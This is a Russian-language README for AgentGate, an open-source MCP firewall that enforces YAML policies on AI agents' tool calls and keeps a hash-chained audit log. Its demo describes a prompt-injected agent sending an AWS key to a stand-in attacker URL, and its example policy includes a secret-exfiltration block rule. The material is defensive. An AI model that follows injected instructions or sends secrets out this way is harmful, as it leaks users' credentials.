AgentGate
AgentGate
Межсетевой экран с открытым исходным кодом для ИИ-агентов. AgentGate располагается между MCP-клиентом (например, Claude Code) и нижестоящими MCP-серверами, с которыми он общается, оценивает каждый вызов инструмента в соответствии с политикой, которую вы контролируете, и ведёт защищённый от несанкционированного вмешательства журнал аудита того, что произошло.

Заблокированная атака, от начала до конца
Агент, внедрённый через prompt injection, пытается выкрасть ключ AWS по HTTP. AgentGate отклоняет его, редактирует ключ до того, как он попадёт на диск, и записывает проверяемый журнал аудита — всё это на основе реального, включённого в репозиторий кода политики и шлюза, а не макета:
Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.
Tool called: network.request
Target URL: https://evil-exfil.example.com/collect
Gateway Response: {
content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
isError: true
}
Step 1 — Policy decision: ✅ DENIED
Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.
Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).Запустите сами: node examples/secret-exfiltration/demo.mjs (см. Демонстрация и проверка).
Related MCP server: border-patrol-mcp
Статус проекта
Ранняя разработка / MVP исследовательского качества. AgentGate реализует настоящий движок политик, настоящий MCP stdio-прокси, настоящее защищённое от несанкционированного вмешательства хранилище аудита и настоящий пользовательский интерфейс Control Center — всё это покрыто исполняемыми тестами и сквозной демонстрацией атаки (см. docs/VERIFICATION.md). Он не готов к продакшену: нет аутентификации, кроме локального токена на каждый запуск, нет поддержки нескольких пользователей, нет воспроизведения, а поддержка протокола MCP в настоящее время — только устаревший stdio эпохи 2025 года (см. Поддерживаемые интеграции). Прочтите docs/THREAT_MODEL.md, прежде чем полагаться на него для чего-либо чувствительного.
Пятиминутное быстрое начало
Требуется Node.js 20+ и pnpm (см. .nvmrc / packageManager в package.json). Всё ниже — локально для репозитория; публичный npm-пакет не требуется.
git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build
# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml
# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.ymlШлюз выводит локальный URL Control Center и одноразовый токен аутентификации в stderr при запуске. Откройте URL, вставьте токен по запросу и укажите вашему MCP-клиенту (например, Claude Code) на команду stdio шлюза вместо прямого обращения к нижестоящему серверу. Полное пошаговое руководство, включая запуск Control Center в режиме разработки, см. в docs/QUICKSTART.md.
Как вписывается AgentGate
MCP client AgentGate gateway Downstream MCP server
(Claude Code, …) ─────▶ stdio proxy → policy engine ─────▶ (filesystem, network, …)
│ │
▼ ▼
audit storage Control Center
(SQLite, (local web UI,
hash-chained) loopback only)AgentGate говорит на MCP с обеих сторон: он является сервером для вашего MCP-клиента и клиентом для реального нижестоящего MCP-сервера. Каждый вызов инструмента, который он пересылает, уже был оценён, и каждое решение — разрешить, запретить, отредактировать или удержать для одобрения человеком — записывается до того, как вызов достигнет (или будет удержан от достижения) реального сервера. Полную диаграмму последовательности см. в docs/ARCHITECTURE.md.
Основные возможности
Движок политик — декларативные правила YAML, сопоставляемые по агенту, инструменту, пути, команде, хосту и содержимому секретов; первое совпадение выигрывает; безопасный отказ по умолчанию.
Четыре типа решений —
allow,deny,require_approval(человек в цикле, с ограничением по времени, одноразовое) иallow_with_transform(редактировать определённые поля, затем переслать).Глубокая редакция секретов — шаблоны ключей AWS/GitHub/OpenAI/Anthropic, bearer-токены, заголовки приватных ключей и строки подключения к БД обнаруживаются и редактируются в каждой сохраняемой записи аудита, независимо от решения.
Защищённый от несанкционированного вмешательства журнал аудита — каждое событие представляет собой запись с SHA-256 хеш-цепочкой, только добавление, в SQLite;
agentgate audit verifyнезависимо повторно проходит и проверяет цепочку.Control Center — локальный веб-интерфейс, доступный только через loopback: живая временная шкала SSE, очередь одобрений, детали каждого события с отображением редакции и хеш-цепочки, а также текущая загруженная политика.
Защита от path traversal — аргументы пути нормализуются (
../.разрешаются, разделители унифицируются) перед сопоставлением или сохранением.
Пример политики
version: 1
defaults:
decision: deny
rules:
- id: allow-project-reads
description: Allow reading files inside the project root.
agents: ["claude-code"]
tools: ["read_file", "list_directory"]
paths: ["${PROJECT_ROOT}/**"]
decision: allow
- id: approve-file-writes
description: Require approval before writing any file.
tools: ["write_file", "create_directory"]
decision: require_approval
approval_ttl_seconds: 120
- id: block-secret-exfiltration
description: Block network requests that appear to carry secrets or API keys.
tools: ["network.*", "fetch", "http_request"]
contains_secrets: true
decision: denyПолный справочник полей, семантика сопоставления и рабочие примеры: docs/POLICY_REFERENCE.md.
CLI
agentgate start [config.yml] # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml] # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config] # Independently re-verify the tamper-evident audit chainagentgate — это packages/gateway/dist/cli.js после pnpm run build (ещё не опубликован в npm — см. Статус проекта). Запускайте его как node packages/gateway/dist/cli.js <команда> из корня репозитория или через workspace bin изнутри packages/gateway.
Control Center
Локальный React-интерфейс, обслуживаемый Vite в разработке и доступный по control_port, настроенному в вашем YAML-файле шлюза:
Обзор — живой индикатор риска, счётчики разрешённых/запрещённых/ожидающих, недавние события с высоким риском.
Временная шкала — каждый перехваченный вызов инструмента в реальном времени через Server-Sent Events.
Одобрения — ожидающие запросы
require_approvalс обратным отсчётом до истечения TTL; отказ — визуально основное действие.Детали события — полный след решения, отредактированные аргументы и позиция события в хеш-цепочке.
Политики — текущий загруженный файл политики и справочник типов решений (только для чтения в этой вехе).
Он аутентифицируется с помощью случайного токена на каждый запуск (выводится в stderr шлюза при запуске), отправляемого в заголовке x-agentgate-token или как параметр запроса token для потока SSE. См. Модель безопасности для того, от чего это защищает, а от чего нет.
Поддерживаемые интеграции
Интеграция | Транспорт | Эпоха протокола | Статус | Доказательства |
Claude Code (и любой MCP-клиент, использующий устаревший stdio-транспорт) | stdio | только устаревшая эпоха 2025 года | Поддерживается |
|
Любой нижестоящий MCP-сервер через stdio | stdio | устаревшая эпоха 2025 года | Поддерживается |
|
Современный stateless MCP ( | HTTP/stateless | современная | Не реализовано | Отложено ADR-0005; тип |
Нижестоящие MCP-серверы через streamable HTTP | HTTP | — | Не реализовано |
|
Если вам нужна поддержка современной эпохи или HTTP-транспорта сегодня, AgentGate пока не подходит — следите за ADR-0005 для статуса.
Модель безопасности и ограничения
AgentGate считает идентичность агента недоверенной: declared_name/declared_version являются самоотчётом и используются только для отображения, никогда для авторизации (verified_identity всегда false). Решения политики принимаются исключительно на основе имени инструмента, нормализованного пути, команды, хоста и обнаруженного содержимого секретов.
Что доказывает, а что не доказывает цепочка аудита: SHA-256 хеш каждой записи аудита покрывает хеш предыдущей записи, поэтому тихое редактирование или удаление прошлой записи разрывает цепочку, и agentgate audit verify это обнаружит. Это защита от несанкционированного вмешательства, а не от подделки, и не даёт гарантии неотказуемости — локальный администратор с доступом к файловой системе к базе данных SQLite может заменить весь файл и заново сгенерировать самосогласованную цепочку с нуля. Внешнего якоря нет. Полную модель, включая косвенный prompt injection, вредоносные нижестоящие серверы, повтор одобрений и риски отказа в обслуживании, которые эта веха ещё не смягчает, см. в docs/THREAT_MODEL.md.
Архитектура
Обязанности компонентов, системные диаграммы и диаграммы последовательности, модель данных аудита и границы доверия: docs/ARCHITECTURE.md.
Демонстрация и проверка
node examples/secret-exfiltration/demo.mjs # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test # unit/integration tests (policy + gateway)
pnpm run lint # type-aware lint gate across the whole workspaceВсё, что утверждают демонстрация и набор тестов, перекрёстно проверено в docs/VERIFICATION.md.
Разработка и вклад
Структура рабочего пространства, запуск шлюза и Control Center локально, добавление правил политики и тестов: docs/DEVELOPMENT.md. Процесс внесения вклада, ожидания по влиянию на безопасность для PR и соглашения о журнале решений: CONTRIBUTING.md. Нашли уязвимость? См. SECURITY.md — пожалуйста, не открывайте публичный issue.
Лицензия
This server cannot be deployed
Maintenance
Related MCP Connectors
- gatewayOAuthai.sealgate
MCP gateway with runtime security policy, tool-call-level control, and audit of agent actions.
Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.
Security & DLP proxy for MCP: tool-poisoning scans, PII redaction on tool args/results. Beta.
Zero-secret MCP gateway for AI agents: risk-scored, audited calls with human-in-the-loop approval.
Related MCP Servers
- FlicenseNot gradedqualityNot gradedmaintenanceA transparent proxy and execution firewall that intercepts and audits AI agent tool calls against configurable security policies before forwarding them to downstream MCP servers. It provides safe execution environments with features like data redaction, anti-loop protection, and unified alert dispatching.-
- AlicenseNot gradedqualityBmaintenanceA policy-enforcing MCP gateway that intercepts all tool calls to downstream MCP servers, applying allow/deny/ask rules with human approval and audit logging for safe access to dangerous tools.5 npmMIT
- FlicenseNot gradedqualityCmaintenanceMCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.-
- AlicenseAqualityAmaintenanceAn MCP proxy that enforces policy on every tool call, blocking or flagging actions before they reach downstream MCP servers.117 npmMIT